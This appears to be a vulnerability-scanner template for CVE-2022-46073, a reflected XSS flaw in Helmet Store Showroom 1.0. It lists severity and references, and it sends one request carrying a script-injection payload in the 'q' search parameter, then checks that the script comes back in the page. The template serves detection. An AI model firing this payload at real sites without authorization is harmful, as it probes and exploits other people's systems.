id: CVE-2022-46073

info:
  name: Helmet Store Showroom - Cross Site Scripting
  author: Harsh
  severity: medium
  description: |
    Helmet Store Showroom 1.0 is vulnerable to Cross Site Scripting (XSS).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/CVE-2022-46073/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46073
    - https://www.youtube.com/watch?v=jT09Uiwl0Jo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46073
    cwe-id: CWE-79
    epss-score: 0.26122
    epss-percentile: 0.96055
    cpe: cpe:2.3:a:helmet_store_showroom_project:helmet_store_showroom:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: helmet_store_showroom_project
    product: helmet_store_showroom
  tags: cve2022,cve,xss,helmet-store-showroom,helmet_store_showroom_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Helmet Store Showroom")'
          - 'contains(body, "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a0047304502206d2a9d1f5b1deaf9deb81736a536e0d52db215461f667dee41a7a495945a34b1022100c6d204db6e27d2e5f657ac96ea07e9a0fca2533a7ee448dc459af39d49fb3cd9:922c64590222798bb761d5b6d8e72950